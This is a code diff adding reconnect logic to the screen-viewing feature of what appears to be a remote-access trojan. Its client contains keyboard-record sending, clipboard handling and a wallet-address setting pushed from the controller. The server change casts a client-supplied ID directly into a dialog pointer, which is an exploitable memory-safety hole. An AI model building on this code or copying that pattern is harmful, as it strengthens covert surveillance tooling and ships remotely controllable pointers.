Feature: Add reconnect logic for remote desktop control

client/IOCPClient.cpp

@@ -83,11 +83,13 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
 }
 #endif
 
-VOID IOCPClient::setManagerCallBack(void* Manager,  DataProcessCB dataProcess)
+VOID IOCPClient::setManagerCallBack(void* Manager,  DataProcessCB dataProcess, OnDisconnectCB reconnect)
 {
     m_Manager = Manager;
 
     m_DataProcess = dataProcess;
+
+    m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
 }
 
 
@@ -115,6 +117,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
     m_bConnected = FALSE;
 
     m_exit_while_disconnect = exit_while_disconnect;
+    m_ReconnectFunc = NULL;
 #if USING_CTX
     m_Cctx = ZSTD_createCCtx();
     m_Dctx = ZSTD_createDCtx();
@@ -402,7 +405,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in
         Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
         Disconnect(); //接收错误处理
         m_CompressedBuffer->ClearBuffer();
-        if (m_exit_while_disconnect)
+        if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
             return false;
     } else {
         szBuffer[iReceivedLength] = 0;
@@ -650,7 +653,7 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
     Mprintf("======> RunEventLoop begin\n");
     while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
         Sleep(200);
-    setManagerCallBack(NULL, NULL);
+    setManagerCallBack(NULL, NULL, NULL);
     Mprintf("======> RunEventLoop end\n");
 }
 
@@ -669,6 +672,6 @@ VOID IOCPClient::RunEventLoop(TrailCheck checker)
 #endif
     while (m_bIsRunning && checker())
         Sleep(200);
-    setManagerCallBack(NULL, NULL);
+    setManagerCallBack(NULL, NULL, NULL);
     Mprintf("======> RunEventLoop end\n");
 }

client/IOCPClient.h

@@ -28,6 +28,7 @@ enum { S_STOP = 0, S_RUN, S_END };
 
 typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
 
+typedef int (*OnDisconnectCB)(void* userData);
 
 class ProtocolEncoder
 {
@@ -108,6 +109,9 @@ public:
     }
     virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
 
+    // Tip: 在派生类实现该函数以便支持断线重连
+    virtual BOOL OnReconnect() { return FALSE;  }
+
     static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
     {
         IOCPManager* m_Manager = (IOCPManager*)user;
@@ -129,6 +133,13 @@ public:
         m_Manager->OnReceive(szBuffer, ulLength);
         return TRUE;
     }
+    static int ReconnectProcess(void* user) {
+        IOCPManager* m_Manager = (IOCPManager*)user;
+        if (nullptr == m_Manager) {
+            return FALSE;
+        }
+        return m_Manager->OnReconnect();
+    }
 };
 
 typedef BOOL(*TrailCheck)(void);
@@ -185,13 +196,11 @@ public:
     {
         return m_bIsRunning;
     }
-
+    VOID StopRunning() {
-    void SetExit()
+        m_ReconnectFunc = NULL;
-    {
         m_bIsRunning = FALSE;
     }
-
+    VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
-    VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
     VOID RunEventLoop(TrailCheck checker);
     VOID RunEventLoop(const BOOL &bCondition);
     bool IsConnected() const
@@ -243,6 +252,7 @@ protected:
     const State&		g_bExit;					// 全局状态量
     void*				m_Manager;					// 用户数据
     DataProcessCB		m_DataProcess;				// 处理用户数据
+    OnDisconnectCB      m_ReconnectFunc;            // 断线重连逻辑
     ProtocolEncoder*	m_Encoder;					// 加密
     DomainPool			m_Domain;
     std::string			m_sCurIP;

client/KernelManager.cpp

@@ -228,7 +228,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
 
 DWORD WINAPI SendKeyboardRecord(LPVOID lParam)
 {
-    CManager* pMgr = (CManager*)lParam;
+    CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam;
     if (pMgr) {
         pMgr->Reconnect();
         pMgr->Notify();
@@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     case CMD_MASTERSETTING:
         if (ulLength > MasterSettingsOldSize) {
             memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
+            Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval);
             iniFile cfg(CLIENT_PATH);
             cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
             CManager* pMgr = (CManager*)m_hKeyboard->user;

client/KeyboardManager.h

@@ -237,6 +237,10 @@ public:
     HANDLE m_hClipboard;
     HANDLE m_hWorkThread,m_hSendThread;
     TCHAR	m_strRecordFile[MAX_PATH];
+    virtual BOOL Reconnect()
+    {
+        return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
+    }
 private:
     BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
     int sendStartKeyBoard();

client/Manager.cpp

@@ -229,7 +229,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
 {
     m_bReady = TRUE;
     m_ClientObject = ClientObject;
-    m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess);
+    m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
 
     m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
 }

client/Manager.h

@@ -54,10 +54,6 @@ public:
     {
         return m_ClientObject->IsConnected();
     }
-    BOOL Reconnect()
-    {
-        return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
-    }
     virtual void Notify() { }
     virtual void UpdateWallet(const std::string &wallet) { }
     BOOL Send(LPBYTE lpData, UINT nSize);

client/ScreenManager.cpp

@@ -297,6 +297,14 @@ void CScreenManager::InitScreenSpy()
     }
 }
 
+BOOL CScreenManager::OnReconnect()
+{
+    m_SendFirst = FALSE;
+    BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
+    Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
+    return r;
+}
+
 DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 {
     CScreenManager *This = (CScreenManager *)lParam;
@@ -309,7 +317,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
     This->WaitForDialogOpen();
 
     clock_t last = clock();
-    This->SendFirstScreen();
 #if USING_ZLIB
     const int fps = 8;// 帧率
 #else
@@ -324,6 +331,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
     clock_t last_check = clock();
     timeBeginPeriod(1);
     while (This->m_bIsWorking) {
+        if (!This->IsConnected()) {
+            Sleep(50);
+            continue;
+        }
+        if (!This->m_SendFirst && This->IsConnected()) {
+            This->m_SendFirst = TRUE;
+            This->SendBitMapInfo();
+            Sleep(50);
+            This->SendFirstScreen();
+        }
         // 降低桌面检查频率，避免频繁的DC重置导致闪屏
         if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) {
             auto now = clock();
@@ -384,7 +401,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 VOID CScreenManager::SendBitMapInfo()
 {
     //这里得到bmp结构的大小
-    const ULONG   ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t);
+    const ULONG   ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t);
     LPBYTE	szBuffer = (LPBYTE)VirtualAlloc(NULL,
                                             ulLength, MEM_COMMIT, PAGE_READWRITE);
     if (szBuffer == NULL)
@@ -393,6 +410,7 @@ VOID CScreenManager::SendBitMapInfo()
     //这里将bmp位图结构发送出去
     memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
     memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
+    memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
     HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
     m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
     VirtualFree(szBuffer, 0, MEM_RELEASE);
@@ -420,7 +438,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
     Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
     IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
     if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
-        pClient->setManagerCallBack(mgr, CManager::DataProcess);
+        pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
         // 发送目录并准备接收文件
         char cmd[300] = { COMMAND_GET_FILE };
         memcpy(cmd + 1, folder.c_str(), folder.length());
@@ -461,6 +479,12 @@ void FinishSend(void* user)
 VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 {
     switch(szBuffer[0]) {
+    case COMMAND_BYE: {
+        Mprintf("[CScreenManager] Received BYE\n");
+        m_bIsWorking = FALSE;
+        m_ClientObject->StopRunning();
+        break;
+    }
     case COMMAND_SWITCH_SCREEN: {
         SwitchScreen();
         break;
@@ -471,6 +495,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
     case COMMAND_NEXT: {
+        m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
         NotifyDialogIsOpen();
         break;
     }

client/ScreenManager.h

@@ -61,7 +61,9 @@ public:
         return m_conn ? m_conn->iStartup == Startup_GhostMsc : false;
     }
     bool SwitchScreen();
-
+    virtual BOOL OnReconnect();
+    uint64_t            m_DlgID = 0;
+    BOOL                m_SendFirst = FALSE;
     // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
     BOOL                m_virtual;
     POINT               m_point;

server/2015Remote/2015RemoteDlg.cpp

@@ -2128,7 +2128,7 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 
     DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
     if (Dlg) {
-        if (!IsWindow(Dlg->GetSafeHwnd()))
+        if (!IsWindow(Dlg->GetSafeHwnd()) || Dlg->IsClosed())
             return FALSE;
         Dlg->MarkReceiving(true);
         Dlg->OnReceiveComplete();
@@ -2547,10 +2547,14 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 {
     auto host = FindHost((int)lParam);
     if (host) {
-        Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str());
         CLock L(m_cs);
         m_HostList.erase(host);
     }
+	DialogBase* p = (DialogBase*)wParam;
+	if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
+		return S_OK;
+	}
+
     CString ip, port;
     port.Format("%d", lParam);
     EnterCriticalSection(&m_cs);
@@ -2572,7 +2576,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
     }
     LeaveCriticalSection(&m_cs);
 
-    DialogBase *p = (DialogBase*)wParam;
     if (p && ::IsWindow(p->GetSafeHwnd())) {
         ::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0);
     }
@@ -2710,9 +2713,15 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
 {
     CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
 	LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
+    LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
 	uint64_t clientID = p ? *((uint64_t*)p) : 0;
+    uint64_t dlgID = q ? *((uint64_t*)q) : 0;
     auto mainCtx = clientID ? FindHost(clientID) : NULL;
+    CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
     if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
+    if (dlg) {
+        return dlg->UpdateContext(ContextObject);
+    }
     return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
 }
 

server/2015Remote/IOCPServer.cpp

@@ -605,9 +605,8 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
             int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
                               NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
             if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
-                int a = WSAGetLastError();
+                if (RemoveStaleContext(ContextObject))
-                Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", a);
+                    Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());
-                RemoveStaleContext(ContextObject);
                 SAFE_DELETE(OverlappedPlus);
                 return FALSE;
             }
@@ -771,7 +770,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)
     return ContextObject;
 }
 
-VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
+BOOL IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
 {
     EnterCriticalSection(&m_cs);
     auto find = m_ContextConnectionList.Find(ContextObject);
@@ -788,7 +787,9 @@ VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
         }
 
         MoveContextToFreePoolList(ContextObject);  //将该内存结构回收至内存池
+        return TRUE;
     }
+    return FALSE;
 }
 
 VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject)

server/2015Remote/IOCPServer.h

@@ -63,7 +63,7 @@ private:
     BOOL InitializeIOCP(VOID);
     VOID OnAccept();
     PCONTEXT_OBJECT AllocateContext(SOCKET s);
-    VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
+    BOOL RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
     VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
     VOID PostRecv(CONTEXT_OBJECT* ContextObject);
     BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
@@ -130,6 +130,12 @@ public:
         m_IPAddress = pContext->GetPeerName().c_str();
         m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
     }
+    int UpdateContext(CONTEXT_OBJECT* pContext) {
+        m_ContextObject = pContext;
+        m_iocpServer = pContext->GetServer();
+        m_ContextObject->hDlg = this;
+        return 0;
+    }
     virtual ~CDialogBase() {}
 
 public:
@@ -169,6 +175,9 @@ public:
     {
         delete this;
     }
+    virtual BOOL ShouldReconnect() {
+        return FALSE;
+    }
     // ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
     void CancelIO()
     {
@@ -176,6 +185,13 @@ public:
 
         m_ContextObject->CancelIO();
 	}
+    BOOL IsClosed() const {
+        return m_bIsClosed;
+    }
+    BOOL SayByeBye() {
+		BYTE bToken = COMMAND_BYE;
+		return m_ContextObject->Send2Client(&bToken, 1);
+    }
 };
 
 typedef CDialogBase DialogBase;

server/2015Remote/ScreenSpyDlg.cpp

@@ -129,8 +129,10 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C
 
 VOID CScreenSpyDlg::SendNext(void)
 {
-    BYTE	bToken = COMMAND_NEXT;
+    BYTE	bToken[32] = { COMMAND_NEXT };
-    m_ContextObject->Send2Client(&bToken, 1);
+    uint64_t dlg = (uint64_t)this;
+    memcpy(bToken+1, &dlg, sizeof(uint64_t));
+    m_ContextObject->Send2Client(bToken, sizeof(bToken));
 }
 
 
@@ -284,6 +286,7 @@ VOID CScreenSpyDlg::OnClose()
         m_aviFile = "";
         m_aviStream.Close();
     }
+    if (SayByeBye()) Sleep(500);
     CancelIO();
     // 恢复鼠标状态
     SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
@@ -344,6 +347,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
     }
     case TOKEN_BITMAPINFO: {
         SAFE_DELETE(m_BitmapInfor_Full);
+        m_bIsFirst = TRUE;
         const ULONG	ulBitmapInforLength = sizeof(BITMAPINFOHEADER);
         m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength];
         m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);

server/2015Remote/ScreenSpyDlg.h

@@ -46,6 +46,9 @@ class CScreenSpyDlg : public DialogBase
 public:
     CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
     virtual ~CScreenSpyDlg();
+	virtual BOOL ShouldReconnect() {
+		return TRUE;
+	}
 
     VOID SendNext(void);
     VOID OnReceiveComplete();